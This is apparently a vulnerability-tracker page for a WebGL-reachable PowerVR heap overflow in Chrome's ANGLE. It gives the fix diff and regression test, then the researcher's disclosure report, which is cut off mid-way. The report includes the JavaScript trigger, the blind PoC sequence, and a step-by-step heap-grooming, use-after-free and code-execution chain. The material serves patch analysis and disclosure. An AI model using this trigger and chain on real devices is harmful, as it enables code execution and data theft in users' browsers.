Overview

Critical
Severity
9.6
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactBuffer overflow in ANGLE
DescriptionBuffer overflow in ANGLE
ComponentANGLE
Sub-componentGL
Bug ClassOOB
Action tierwatch — corruption primitive but gated (uncommon) — not default-reachable
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker551573368
Fix commit2c68772a0eb7 (angle/angle) +99/-0
CWECWE-122 (Heap buffer overflow)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
CISA KEVNot listed
CreditedBilly Jheng Bing Jhong, Muhammad Alifa Ramdhan, Pan Zhenpeng of STAR Labs SG Pte. LTd.
Reported2026-08-24 · bounty $5,000 (per vendor advisory)
Fix landed2026-08-26 (public git)
Disclosed2026-09-22
Patch gap27 days — fix public in source before the advisory

Background

`glTexStorage2D` / `glTexStorage3D`
GL calls that allocate all mip levels of an immutable-format texture in one shot.
`TEXTURE_BASE_LEVEL`
the lowest mip level the texture uses; ANGLE tracks the applied value in mAppliedBaseLevel and can change it via setBaseLevel.
PowerVR TexStorage base-level bug
on PowerVR GPUs, calling glTexStorage2D while a non-zero base level is applied makes the driver miscompute the storage layout, writing outside the intended allocation.
`resetTexStorage2DBaseLevel` feature
the new ANGLE workaround flag, enabled via ANGLE_FEATURE_CONDITION(features, resetTexStorage2DBaseLevel, IsPowerVR(vendor)).

Root Cause Analysis

When ANGLE allocated immutable texture storage through functions->texStorage2D (and the 3D analogue) on PowerVR, it passed the call through even if mAppliedBaseLevel > 0. The PowerVR driver mishandles a non-zero base level at storage-allocation time and miscomputes the layout, overflowing the texture allocation — a GPU-process buffer overflow reachable from WebGL.

The fix adds the resetTexStorage2DBaseLevel feature (conditioned on IsPowerVR(vendor)) and, in both the texStorage2D and texStorage3D paths, computes resetBaseLevel = feature.enabled && mAppliedBaseLevel > 0; when true it saves mAppliedBaseLevel, calls setBaseLevel(context, 0) before the storage call, and restores the original level with setBaseLevel(context, originalBaseLevel) afterward. With the base level normalized to 0 during allocation, the driver computes the layout correctly and the overflow is avoided.

Key insight
The mistake was allocating immutable storage while a non-zero TEXTURE_BASE_LEVEL was applied on a driver that miscomputes the layout in that state; the fix resets the base level to 0 around the texStorage2D/texStorage3D call and restores it, so allocation always happens at level 0.

Attack Path

  1. PowerVR target the victim runs Chrome on a PowerVR GPU, where the workaround and the driver bug apply.
  2. WebGL immutable texture attacker JavaScript creates a texture and prepares to allocate it with texStorage2D/texStorage3D.
  3. Apply a non-zero base level it sets TEXTURE_BASE_LEVEL > 0 before the storage call, reaching the vulnerable state (mAppliedBaseLevel > 0).
  4. Allocate storage pre-fix, ANGLE forwarded glTexStorage2D with the non-zero base level and the PowerVR driver miscomputed the layout.
  5. Heap overflow in the GPU process the mis-sized allocation/writes corrupt adjacent GPU-process memory, a primitive toward a sandbox escape.

Impact Assessment

An attacker gains an out-of-bounds write in the GPU process from standard WebGL texture-allocation calls, corrupting memory around the texture storage. The preconditions are a PowerVR GPU and allocating immutable storage while a non-zero base level is applied; devices on other GPU vendors do not enable the feature and are not affected by this driver bug.

Changed Functions

FunctionChangeNotes
Texture2DTestES3_ResetTexStorage2DBaseLevel
src/tests/gl_tests/TextureTest.cpp
modified

Files Changed

  • src/tests/gl_tests/TextureTest.cpp
  • util/autogen/angle_features_autogen.h
  • src/libANGLE/renderer/gl/renderergl_utils.cpp
  • include/platform/autogen/FeaturesGL_autogen.h
  • util/autogen/angle_features_autogen.cpp
  • src/libANGLE/renderer/gl/TextureGL.cpp
  • include/platform/gl_features.json

Audit Directions

  • Base-level state around allocation
    audit every immutable-storage or reallocation call that can run while TEXTURE_BASE_LEVEL != 0 on drivers with known layout bugs.
  • Save/restore symmetry
    verify each reset-then-restore workaround always restores the original level on every return path, so state doesn’t leak into later calls.
  • Sibling storage entry points
    check that texStorage2D, texStorage3D, and any multisample/array variants each carry the guard, since a bug on one usually affects the family.
From 2c68772a0eb74c771e2b0b6c490869c0e98fc412 Mon Sep 17 00:00:00 2001
From: Zhenyao Mo <[email protected]>
Date: Mon, 24 Aug 2026 15:11:05 -0700
Subject: [PATCH] GL: Reset base level before TexStorage2D on PowerVR GPUs

PowerVR GPUs have a driver bug when glTexStorage2D is called
on a texture with a non-zero base level already applied.
This workaround resets the base level to zero before making
the TexStorage2D call, and restores the base level to its
original level afterwards.

Bug: chromium:551573368
Change-Id: I334f242842f01bdd10fc65200f81ff3b65867bec
Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/8283072
Reviewed-by: Geoff Lang <[email protected]>
Auto-Submit: Zhenyao Mo <[email protected]>
Commit-Queue: Geoff Lang <[email protected]>
Reviewed-by: Kenneth Russell <[email protected]>
---
diff --git a/include/platform/gl_features.json b/include/platform/gl_features.json
index 7d9f4bb..9bac71d 100644
--- a/include/platform/gl_features.json
+++ b/include/platform/gl_features.json
@@ -327,6 +327,15 @@
             "issue": "https://crbug.com/528131119"
         },
         {
+            "name": "reset_TexStorage2D_base_level",
+            "category": "Workarounds",
+            "description": [
+                "Reset texture base level before calling glTexStorage2D to ",
+                "work around PowerVR driver bug."
+            ],
+            "issue": "https://crbug.com/551573368"
+        },
+        {
             "name": "use_temp_for_non_zero_base_level_GenMipmap_using_CopyImageSubData",
             "category": "Workarounds",
             "description": [
diff --git a/src/libANGLE/renderer/gl/TextureGL.cpp b/src/libANGLE/renderer/gl/TextureGL.cpp
index 52c5e88..25f2644 100644
--- a/src/libANGLE/renderer/gl/TextureGL.cpp
+++ b/src/libANGLE/renderer/gl/TextureGL.cpp
@@ -1332,10 +1332,23 @@
         ASSERT(size.depth == 1);
         if (functions->texStorage2D)
         {
+            const bool resetBaseLevel =
+                features.resetTexStorage2DBaseLevel.enabled && mAppliedBaseLevel > 0;
+            const GLuint originalBaseLevel = mAppliedBaseLevel;
+            if (resetBaseLevel)
+            {
+                ANGLE_TRY(setBaseLevel(context, 0));
+            }
+
             ANGLE_GL_TRY_ALWAYS_CHECK(
                 context,
                 functions->texStorage2D(ToGLenum(type), static_cast<GLsizei>(levels),
                                         texStorageFormat.internalFormat, size.width, size.height));
+
+            if (resetBaseLevel)
+            {
+                ANGLE_TRY(setBaseLevel(context, originalBaseLevel));
+            }
         }
         else
         {
@@ -1436,10 +1449,23 @@
                                         features.emulateImmutableCompressedTexture3D.enabled;
         if (functions->texStorage3D && !bypassTexStorage3D)
         {
+            const bool resetBaseLevel =
+                features.resetTexStorage2DBaseLevel.enabled && mAppliedBaseLevel > 0;
+            const GLuint originalBaseLevel = mAppliedBaseLevel;
+            if (resetBaseLevel)
+            {
+                ANGLE_TRY(setBaseLevel(context, 0));
+            }
+
             ANGLE_GL_TRY_ALWAYS_CHECK(
                 context, functions->texStorage3D(ToGLenum(type), static_cast<GLsizei>(levels),
                                                  texStorageFormat.internalFormat, size.width,
                                                  size.height, size.depth));
+
+            if (resetBaseLevel)
+            {
+                ANGLE_TRY(setBaseLevel(context, originalBaseLevel));
+            }
         }
         else
         {
diff --git a/src/libANGLE/renderer/gl/renderergl_utils.cpp b/src/libANGLE/renderer/gl/renderergl_utils.cpp
index 2190fd8..b000e97 100644
--- a/src/libANGLE/renderer/gl/renderergl_utils.cpp
+++ b/src/libANGLE/renderer/gl/renderergl_utils.cpp
@@ -2402,6 +2402,7 @@
     ANGLE_FEATURE_CONDITION(features, resetBaseLevelForASTCSubImage, IsPowerVR(vendor));
     ANGLE_FEATURE_CONDITION(features, recreateImmutableTextureOnBaseLevelIncrease,
                             IsPowerVR(vendor));
+    ANGLE_FEATURE_CONDITION(features, resetTexStorage2DBaseLevel, IsPowerVR(vendor));
     ANGLE_FEATURE_CONDITION(features, recreateTextureOnTexImage3dDepthIncrease,
                             isQualcomm && IsAndroid());
 
diff --git a/src/tests/gl_tests/TextureTest.cpp b/src/tests/gl_tests/TextureTest.cpp
index 7de29e3..f4ebc11 100644
--- a/src/tests/gl_tests/TextureTest.cpp
+++ b/src/tests/gl_tests/TextureTest.cpp
@@ -23755,6 +23755,54 @@
     EXPECT_GL_NO_ERROR();
 }
 
+class Texture2DTestES3_ResetTexStorage2DBaseLevel : public Texture2DBaseMaxTestES3
+{};
+
+// Test TexStorage2D on a texture that already has non-zero TEXTURE_BASE_LEVEL set.
+TEST_P(Texture2DTestES3_ResetTexStorage2DBaseLevel, TexStorage2DWithNonZeroBaseLevel)
+{
+    // http://anglebug.com/551573368
+    ANGLE_SKIP_TEST_IF(IsD3D());
+
+    constexpr uint32_t kBaseLevel          = 1;
+    const GLColor kNewMipColors[kMipCount] = {
+        GLColor::yellow,
+        GLColor::cyan,
+        GLColor::white,
+        GLColor(127u, 127u, 127u, 255u),
+    };
+
+    initTest(false);
+
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, kBaseLevel);
+
+    glTexStorage2D(GL_TEXTURE_2D, kMipCount, GL_RGBA8, kMip0Size, kMip0Size);
+    std::array<GLColor, getTotalMipDataSize(kMip0Size)> mipData;
+    fillMipData(mipData.data(), kMip0Size, kNewMipColors);
+    for (size_t mip = 0; mip < kMipCount; ++mip)
+    {
+        glTexSubImage2D(GL_TEXTURE_2D, static_cast<GLint>(mip), 0, 0, kMip0Size >> mip,
+                        kMip0Size >> mip, GL_RGBA, GL_UNSIGNED_BYTE,
+                        mipData.data() + getMipDataOffset(kMip0Size, mip));
+    }
+
+    // Test that all enabled mips have the expected data
+    for (uint32_t lod = kBaseLevel; lod < kMipCount; ++lod)
+    {
+        setLodUniform(lod - kBaseLevel);
+        drawQuad(mProgram, essl3_shaders::PositionAttrib(), 0.5f);
+        EXPECT_PIXEL_COLOR_EQ(0, 0, kNewMipColors[lod]);
+    }
+
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 0);
+    for (uint32_t lod = 0; lod < kBaseLevel; ++lod)
+    {
+        setLodUniform(lod);
+        drawQuad(mProgram, essl3_shaders::PositionAttrib(), 0.5f);
+        EXPECT_PIXEL_COLOR_EQ(0, 0, kNewMipColors[lod]);
+    }
+}
+
 // Test that robust init via nullptr-upload to texture after invalidating an image with emulated
 // alpha works.
 TEST_P(Texture2DTestES3RobustInit, InvalidateEmulatedAlphaThenInitViaEmptyUpload)
@@ -23999,6 +24047,13 @@
     ES3_OPENGL().enable(Feature::UseTempForNonZeroBaseLevelGenMipmapUsingCopyImageSubData),
     ES3_OPENGLES().enable(Feature::UseTempForNonZeroBaseLevelGenMipmapUsingCopyImageSubData));
 
+GTEST_ALLOW_UNINSTANTIATED_PARAMETERIZED_TEST(Texture2DTestES3_ResetTexStorage2DBaseLevel);
+ANGLE_INSTANTIATE_TEST_ES3_AND(Texture2DTestES3_ResetTexStorage2DBaseLevel,
+                               ES3_OPENGL().enable(Feature::ResetTexStorage2DBaseLevel),
+                               ES3_OPENGL().disable(Feature::ResetTexStorage2DBaseLevel),
+                               ES3_OPENGLES().enable(Feature::ResetTexStorage2DBaseLevel),
+                               ES3_OPENGLES().disable(Feature::ResetTexStorage2DBaseLevel));
+
 GTEST_ALLOW_UNINSTANTIATED_PARAMETERIZED_TEST(TextureSizeLimitTest);
 ANGLE_INSTANTIATE_TEST(TextureSizeLimitTest,
                        ES2_D3D11().enable(Feature::LimitMaxTextureBytesTo1MB),
diff --git a/include/platform/autogen/FeaturesGL_autogen.h b/include/platform/autogen/FeaturesGL_autogen.h
index 487cfbe..839b476 100644
--- a/include/platform/autogen/FeaturesGL_autogen.h
+++ b/include/platform/autogen/FeaturesGL_autogen.h
@@ -266,6 +266,12 @@
         &members,
     };
 
+    FeatureInfo resetTexStorage2DBaseLevel = {
+        "resetTexStorage2DBaseLevel",
+        FeatureCategory::OpenGLWorkarounds,
+        &members,
+    };
+
     FeatureInfo useTempForNonZeroBaseLevelGenMipmapUsingCopyImageSubData = {
         "useTempForNonZeroBaseLevelGenMipmapUsingCopyImageSubData",
         FeatureCategory::OpenGLWorkarounds,
diff --git a/util/autogen/angle_features_autogen.cpp b/util/autogen/angle_features_autogen.cpp
index 5f52c9e..cad4174 100644
--- a/util/autogen/angle_features_autogen.cpp
+++ b/util/autogen/angle_features_autogen.cpp
@@ -315,6 +315,7 @@
     {Feature::ResetBaseLevelForASTCSubImage, "resetBaseLevelForASTCSubImage"},
     {Feature::ResetSampleCoverageOnFBOChange, "resetSampleCoverageOnFBOChange"},
     {Feature::ResetTexImage2DBaseLevel, "resetTexImage2DBaseLevel"},
+    {Feature::ResetTexStorage2DBaseLevel, "resetTexStorage2DBaseLevel"},
     {Feature::ResyncDepthRangeOnClipControl, "resyncDepthRangeOnClipControl"},
     {Feature::RetainSPIRVDebugInfo, "retainSPIRVDebugInfo"},
     {Feature::RewriteRepeatedAssignToSwizzled, "rewriteRepeatedAssignToSwizzled"},
diff --git a/util/autogen/angle_features_autogen.h b/util/autogen/angle_features_autogen.h
index 99b3126..f4eca50 100644
--- a/util/autogen/angle_features_autogen.h
+++ b/util/autogen/angle_features_autogen.h
@@ -315,6 +315,7 @@
     ResetBaseLevelForASTCSubImage,
     ResetSampleCoverageOnFBOChange,
     ResetTexImage2DBaseLevel,
+    ResetTexStorage2DBaseLevel,
     ResyncDepthRangeOnClipControl,
     RetainSPIRVDebugInfo,
     RewriteRepeatedAssignToSwizzled,
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/src/tests/gl_tests/TextureTest.cpp b/src/tests/gl_tests/TextureTest.cpp
index 7de29e3..f4ebc11 100644
--- a/src/tests/gl_tests/TextureTest.cpp
+++ b/src/tests/gl_tests/TextureTest.cpp
@@ -23755,6 +23755,54 @@
     EXPECT_GL_NO_ERROR();
 }
 
+class Texture2DTestES3_ResetTexStorage2DBaseLevel : public Texture2DBaseMaxTestES3
+{};
+
+// Test TexStorage2D on a texture that already has non-zero TEXTURE_BASE_LEVEL set.
+TEST_P(Texture2DTestES3_ResetTexStorage2DBaseLevel, TexStorage2DWithNonZeroBaseLevel)
+{
+    // http://anglebug.com/551573368
+    ANGLE_SKIP_TEST_IF(IsD3D());
+
+    constexpr uint32_t kBaseLevel          = 1;
+    const GLColor kNewMipColors[kMipCount] = {
+        GLColor::yellow,
+        GLColor::cyan,
+        GLColor::white,
+        GLColor(127u, 127u, 127u, 255u),
+    };
+
+    initTest(false);
+
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, kBaseLevel);
+
+    glTexStorage2D(GL_TEXTURE_2D, kMipCount, GL_RGBA8, kMip0Size, kMip0Size);
+    std::array<GLColor, getTotalMipDataSize(kMip0Size)> mipData;
+    fillMipData(mipData.data(), kMip0Size, kNewMipColors);
+    for (size_t mip = 0; mip < kMipCount; ++mip)
+    {
+        glTexSubImage2D(GL_TEXTURE_2D, static_cast<GLint>(mip), 0, 0, kMip0Size >> mip,
+                        kMip0Size >> mip, GL_RGBA, GL_UNSIGNED_BYTE,
+                        mipData.data() + getMipDataOffset(kMip0Size, mip));
+    }
+
+    // Test that all enabled mips have the expected data
+    for (uint32_t lod = kBaseLevel; lod < kMipCount; ++lod)
+    {
+        setLodUniform(lod - kBaseLevel);
+        drawQuad(mProgram, essl3_shaders::PositionAttrib(), 0.5f);
+        EXPECT_PIXEL_COLOR_EQ(0, 0, kNewMipColors[lod]);
+    }
+
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 0);
+    for (uint32_t lod = 0; lod < kBaseLevel; ++lod)
+    {
+        setLodUniform(lod);
+        drawQuad(mProgram, essl3_shaders::PositionAttrib(), 0.5f);
+        EXPECT_PIXEL_COLOR_EQ(0, 0, kNewMipColors[lod]);
+    }
+}
+
 // Test that robust init via nullptr-upload to texture after invalidating an image with emulated
 // alpha works.
 TEST_P(Texture2DTestES3RobustInit, InvalidateEmulatedAlphaThenInitViaEmptyUpload)
@@ -23999,6 +24047,13 @@
     ES3_OPENGL().enable(Feature::UseTempForNonZeroBaseLevelGenMipmapUsingCopyImageSubData),
     ES3_OPENGLES().enable(Feature::UseTempForNonZeroBaseLevelGenMipmapUsingCopyImageSubData));
 
+GTEST_ALLOW_UNINSTANTIATED_PARAMETERIZED_TEST(Texture2DTestES3_ResetTexStorage2DBaseLevel);
+ANGLE_INSTANTIATE_TEST_ES3_AND(Texture2DTestES3_ResetTexStorage2DBaseLevel,
+                               ES3_OPENGL().enable(Feature::ResetTexStorage2DBaseLevel),
+                               ES3_OPENGL().disable(Feature::ResetTexStorage2DBaseLevel),
+                               ES3_OPENGLES().enable(Feature::ResetTexStorage2DBaseLevel),
+                               ES3_OPENGLES().disable(Feature::ResetTexStorage2DBaseLevel));
+
 GTEST_ALLOW_UNINSTANTIATED_PARAMETERIZED_TEST(TextureSizeLimitTest);
 ANGLE_INSTANTIATE_TEST(TextureSizeLimitTest,
                        ES2_D3D11().enable(Feature::LimitMaxTextureBytesTo1MB),
Loading diff…

Original Bug Report

reported by [email protected]

PowerVR sparse page-map heap OOB reachable from WebGL bypasses ANGLE's prior workaround and yields native code execution


Report description

PowerVR sparse page-map heap OOB reachable from WebGL bypasses ANGLE’s prior workaround and yields native code execution


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules


The problem

Please describe the technical details of the vulnerability

PowerVR sparse page-map heap OOB reachable from WebGL bypasses ANGLE’s prior workaround and yields native code execution

Summary

An ordinary WebGL2 page can place a nonzero TEXTURE_BASE_LEVEL on a mutable texture and then allocate immutable non-power-of-two (NPOT) storage. ANGLE immediately forwards the base level to its PowerVR OpenGL ES backend, but its existing PowerVR workarounds only repair later base-level transitions or mipmap generation. The subsequent native glTexStorage* therefore begins with a nonzero base already installed.

PowerVR reconstructs larger effective dimensions from that base level while its internal sparse page-map allocation is sized from a smaller mip window. CalculateNPOTTwiddleSparsePageMap consequently indexes beyond a transient Scudo heap allocation and writes a length-controllable contiguous run of bytes whose value is fixed to 0x01.

The supplied poc.html contains only the root trigger and normal object operations that consume the corruption. It creates the trigger plus two texture names, performs the overflowing storage call, deletes the two names in reverse order, and calls finish(). The page-map writer paints following Scudo chunks with 0x01; subsequent GPU-process activity consumes whichever adjacent object was corrupted. The page does not shape or inspect the allocator, so the immediate crash depends on the process heap layout.

The supplied exp.html continues from the same OOB. It uses the name-list append operation to disclose an aligned native buffer address, converts a still-referenced uniform allocation into a use-after-free (UAF), and reclaims it with a genuine driver-created GLES3BufferObjectRec. The uniform APIs retain a stale view of the record while a live WebGLBuffer supplies normal consumers. Temporarily retargeting GLES3BufferObjectRec.data_store_cpu at +0x70 turns WebGL2 getBufferSubData() and bufferSubData() into address-selected CPU memory access. A vertex draw then populates the BufferRec’s runtime resource-tracking record, exposing the owning GLES context and loaded-module bases. The page uses two returning query callbacks to call mprotect and execute a Branch Target Identification (BTI)-compatible payload from controlled Scudo memory. A second payload performs openat and getdents64 directly and returns the contents of Chrome’s private data directory to JavaScript.

On the confirmed August firmware and Chrome 151, the blind PoC produces a repeated-0x01 GPU-process pointer fault. The exploit page completed the full chain in 104.423 seconds, returned marker 0x52434521 from native code, and listed /data/user/0/com.android.chrome from Chrome’s privileged GPU process.

Product and impact

Field Value
Product Google Chrome for Android, WebGL2 / GPU process
Vulnerable component /vendor/lib64/egl/libGLESv2_powervr.so
Vendor component Imagination Technologies PowerVR GLES
Reachability Ordinary webpage through Blink WebGL2, Chrome passthrough decoder, ANGLE GL backend
Bug class CPU heap out-of-bounds write; incomplete mitigation/workaround bypass
Demonstrated impact Native code execution and access to Chrome’s private data directory from the privileged GPU process
Exploit result Full ordinary-WebGL code-execution chain device-confirmed
Suggested CWE CWE-787: Out-of-bounds Write; CWE-122: Heap-based Buffer Overflow; CWE-693: Protection Mechanism Failure

The vulnerable vendor library executes in Chrome’s privileged GPU process. The page uses no native helper, renderer injection, direct command-buffer access, raw GPU command construction, /proc access, allocator observer, or address supplied from outside the WebGL page.

Confirmed target

Device:        Google Pixel 10 (frankel)
Android build: CP2A.260805.005
Security SPL:  2026-08-05
Chrome:        151.0.7922.137
ANGLE backend: OpenGL ES -> native PowerVR GLES
GPU:           PowerVR D-Series DXT-48-1536
PowerVR DDK:   25.3@6908880
GLES BuildId:  c9baa2e05202a3113a7f0847e90a1ec5
libc BuildId:  bff603430d1ad139d4f0e6a78f542c4d
linker BuildId: 9b4e57b0e8d31b8e50caee18e4bb9ad3
android_runtime BuildId: 5c8787d727d821a92c609b8b4d61b9b4

The WebGL renderer identifies the native backend as:

ANGLE (Imagination Technologies, PowerVR D-Series DXT-48-1536,
       OpenGL ES 3.2 build 25.3@6908880)

All vendor function addresses below apply to BuildId c9baa2e05202a3113a7f0847e90a1ec5 and use Binary Ninja’s image base 0x400000.

Relationship to the previously fixed/public bug

This report should be treated as a bypass of an incomplete ANGLE mitigation, not as an unrelated texture bug.

ANGLE commit 764bb891d3b8f4d3c06151d95deb5e70878cc9c5 for Chromium issue 534903095 added the PowerVR feature recreateImmutableTextureOnBaseLevelIncrease. The public regression sequence creates immutable NPOT storage while native base level is zero, makes the texture resident, and then increases BASE_LEVEL. ANGLE responds to that post-storage transition by recreating native immutable storage.

A later workaround, commit ef03123d07332bc76db13395b6d3f3e8ac24a3b6 for issue 534923522, avoids native glGenerateMipmap on an immutable PowerVR texture whose effective base is nonzero. It generates through a temporary base-zero texture instead.

The bypass reverses the order assumed by both test families:

- gl.texStorage2D(...);                    // native storage begins at base 0
- gl.texParameteri(TEXTURE_2D,
-                  TEXTURE_BASE_LEVEL, 10); // later transition
+ gl.texParameteri(TEXTURE_2D,
+                  TEXTURE_BASE_LEVEL, 10); // forwarded while still mutable
+ gl.texStorage2D(...);                    // storage begins under base 10

The sequence is legal WebGL2. Texture::setBaseLevel immediately calls the GL backend, and TextureGL::setBaseLevel immediately sends native glTexParameteri(BASE_LEVEL, 10) while recording mAppliedBaseLevel=10. Texture::setStorage later invokes native glTexStorage2D before the generic dirty-state synchronization where the recreation workaround lives. At that point:

mAppliedBaseLevel = 10
effectiveBase     = min(10, levels - 1) = 10

ANGLE sees no later transition to repair. The vulnerable native storage call has already executed in an equal-but-unsafe state. The generate-mipmap workaround is not entered because the trigger does not call generateMipmap().

Both upstream regression families begin with storage at base zero, so neither covers the missing mutable-base-before-storage edge:

mutable, no storage, base 0
  -> mutable, no storage, base N
  -> immutable storage created while native base N is active

The vulnerable sequence remains reachable in a Chromium build containing both ANGLE changes, so the result is not caused by testing a browser revision that predates the workarounds.

WebGL validity and call path

The compact root trigger is:

const texture = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, texture);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_BASE_LEVEL, 10);
gl.texStorage2D(gl.TEXTURE_2D, 12, gl.RGBA8, 3, 2048);

For 3 x 2048, the maximum immutable mip count is 12. RGBA8, positive dimensions, levels=12, and BASE_LEVEL=10 are all WebGL2-valid. The calls return GL_NO_ERROR before asynchronous consumption.

The exploit uses this WebGL2-valid geometry to place the page-map allocation in the same Scudo size class as native buffer records:

gl.bindTexture(gl.TEXTURE_2D_ARRAY, triggerTexture);
gl.texParameteri(gl.TEXTURE_2D_ARRAY, gl.TEXTURE_BASE_LEVEL, 4);
gl.texStorage3D(gl.TEXTURE_2D_ARRAY, 13,
                gl.RGBA32F, 1, 4736, 7);

The browser path is:

webpage WebGL2
  -> Blink WebGL2RenderingContext
  -> Chrome GPU command buffer / passthrough decoder
  -> ANGLE frontend validation
  -> ANGLE OpenGL ES backend
  -> native PowerVR glTexStorage3D
  -> PowerVR texture backing creation
  -> GetTwiddledMiptreeSparsePageMap
  -> CalculateNPOTTwiddleSparsePageMap

PowerVR root cause

The native texture code allocates a transient byte map named pbUsedPageMap using a page count derived from the stored mip layout. It then calculates sparse/twiddled page indices after reconstructing effective dimensions from the nonzero base level. Those two calculations do not describe the same coordinate space.

The relevant logic for this BuildId is:

uint8_t *pbUsedPageMap = calloc(ui32NumPagesTotal, sizeof(uint8_t));

// Allocation is based on the native mip/storage window.

// The later index calculation reconstructs a larger base:
effectiveWidth  = storedWidth;
effectiveHeight = storedHeight;
for (uint32_t i = 0; i < baseLevel; ++i) {
    effectiveWidth  = (effectiveWidth  << 1) | 1;
    effectiveHeight = (effectiveHeight << 1) | 1;
}

for (each twiddled page touched by the reconstructed area) {
    uint32_t index = /* twiddle, bpp, mip-offset and page-size calculation */;
    pbUsedPageMap[index] = 1; // missing index < ui32NumPagesTotal check
}

GetTwiddledMiptreeSparsePageMap@0x4a5e30 reaches CalculateNPOTTwiddleSparsePageMap@0x4a6940. The faulting store is at function offset +0x200. On the confirmed target, where heap MTE is disabled, the loop continues after crossing the allocation boundary and produces a length/endpoint-controllable contiguous run of fixed 0x01 bytes.

The page map is transient:

allocate pbUsedPageMap
  -> calculate map and perform OOB 0x01 stores
  -> submit/consume sparse-page information
  -> free pbUsedPageMap

Freeing the source does not undo corruption already written into the following Scudo block. The exploit intentionally never frees the painted adjacent victim because the continuous prefix also touches allocator metadata.

Blind root reproducer (poc.html)

poc.html contains no shaders, programs, buffers, heap spray, hole selection, address disclosure, or observer. Its complete object sequence is:

const trigger = gl.createTexture();
const names = [gl.createTexture(), gl.createTexture()];

gl.bindTexture(gl.TEXTURE_2D, trigger);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_BASE_LEVEL, 8);
gl.texStorage2D(gl.TEXTURE_2D, 14, gl.RGBA8, 3, 8192);

gl.deleteTexture(names[1]);
gl.deleteTexture(names[0]);
gl.finish();

For this geometry the logical page-map request is 0x2c, while the writer continues through approximately map+0x107f with fixed 0x01 bytes. The page then deletes the two names and synchronizes so normal native code consumes an object that was overwritten. Because poc.html performs no heap shaping, some runs return without an immediate crash; reloading creates a new process-heap layout.

On the confirmed target this page crashes the privileged GPU process:

Cmdline: com.android.chrome:privileged_process0
signal 11 (SIGSEGV), SEGV_MAPERR, read fault 0x0001010101010121

This blind run does not claim control of which neighboring GPU-process object is selected; it demonstrates naturally consumed fixed-pattern pointer corruption from the root WebGL sequence.

Exploit chain to native code execution (exp.html)

Heap objects used by the exploit

PowerVR allocates all three objects below from one Scudo size class. A Scudo allocation in this class begins every 0x250 bytes, even though each caller requests a different usable size:

Object Requested bytes Scudo spacing Purpose
Sparse page map 0x1c0 0x250 Source of the fixed-0x01 OOB write
GLES3BufferObjectRec 0x1d0 0x250 Native object whose list pointer is corrupted
Program default-uniform data 0x240 0x250 WebGL-readable and writable replacement memory

For the exploit texture geometry, the page-map loop writes through offset +0x251 relative to the returned page-map address. Therefore it crosses the allocator metadata and writes the first two bytes of a following GLES3BufferObjectRec.

page-map pointer                                            next user pointer
M+0x000                                                     M+0x250
[0x1c0 bytes][unused class space][8-byte Scudo header]      [BufferRec.psNext]
                                      OOB 0x01 writes  ──────^ bytes 0 and 1

Each controlled 0x240 allocation belongs to one linked WebGL program. The program declares an 18-element uvec4 uniform array in its vertex shader and another 18-element array in its fragment shader. PowerVR stores the combined 36 vectors in one contiguous default-uniform allocation. The page initializes all of those bytes to zero and can later read or update them with getUniform() and uniform4uiv().

WebGL buffer creation is lazy in ANGLE, so the page binds every WebGLBuffer and calls zero-length bufferData() to force creation of its native GLES3BufferObjectRec. It fills the 0x250 size class with these buffer records and controlled uniform allocations, deletes two fixed buffer records, and issues two overflowing page-map allocations. Each page map reuses a freed slot and writes 0x01 into the following buffer record. The corrupted record is kept allocated because the overwrite also crosses Scudo metadata.

1. Convert the corrupted list pointer into an address disclosure

Every PowerVR buffer record begins with a NamedItem, the node used by the driver’s object-name hash table:

struct NamedItem {
    struct NamedItem *psNext;
    uint32_t ui32Name;
    uint32_t ui32RefCount;
};

The page-map write changes the low 16 bits of an adjacent record’s psNext from their original value to 0x0101, while preserving the upper pointer bits. The heap layout places a zero-filled default-uniform allocation at the resulting address. The corrupted pointer therefore refers to a synthetic NamedItem whose psNext is initially null.

When PowerVR inserts another native buffer into that name-list chain, its append operation reaches the synthetic node and performs:

fakeNode->psNext = newBufferRec;

This stores the genuine Scudo-tagged address of the new buffer record inside the uniform allocation. Ordinary getUniform() calls return that pointer to JavaScript. No allocator observer, native helper, /proc access, or external address is used.

2. Reclaim the disclosed buffer record with uniform data

Call the disclosed, aligned native buffer-record address X. The page deletes the WebGLBuffers that can own X one at a time and reads the synthetic node after each deletion. When its stored link changes from X to the real X->psNext, PowerVR has unlinked and freed the record at X.

The page then links prepared WebGL programs. Their 0x240 default-uniform allocations use the same 0x250 Scudo class and reclaim the freed buffer-record slots. One program receives the allocation at exactly X, giving its uniform API control over X+0x00..X+0x23f. This covers the complete 0x1d0-byte native buffer record plus 0x70 bytes of tail space.

3. Free the uniform while its WebGL program still references it

PowerVR hashes native object names into 0x800 linked-list buckets. The page creates another native buffer whose name enters the same bucket as the synthetic node. Appending it writes a genuine successor pointer at X+0x00, which also identifies the exact WebGL program whose uniform allocation owns X.

Through that program’s uniform setters, the page gives X this generated-but-unused NamedItem prefix:

X+0x00  psNext        genuine successor buffer
X+0x08  ui32Name      successor buffer's native name
X+0x0c  ui32RefCount  1
X+0x10  mutex         0
X+0x18  flags         0x11 (generated-unused)
X+0x20  label         0

Deleting the corresponding WebGLBuffer makes native name lookup find the fake node at X. Because the node is marked generated-but-unused, NamedItemDelRefByName@0x50b980 directly frees X without invoking the buffer destructor. The WebGL program remains live and still holds its default-uniform pointer to the freed allocation. This is the use-after-free used by the next step.

4. Reclaim the dangling uniform with a valid native buffer record

The page materializes WebGLBuffers until CreateBufferObject@0x56f670 reuses X. PowerVR initializes a genuine GLES3BufferObjectRec there. The live WebGLBuffer supplies valid driver state and normal consumers, while the stale uniform pointer supplies a second read/write view of the same allocation.

Fields used by the exploit are:

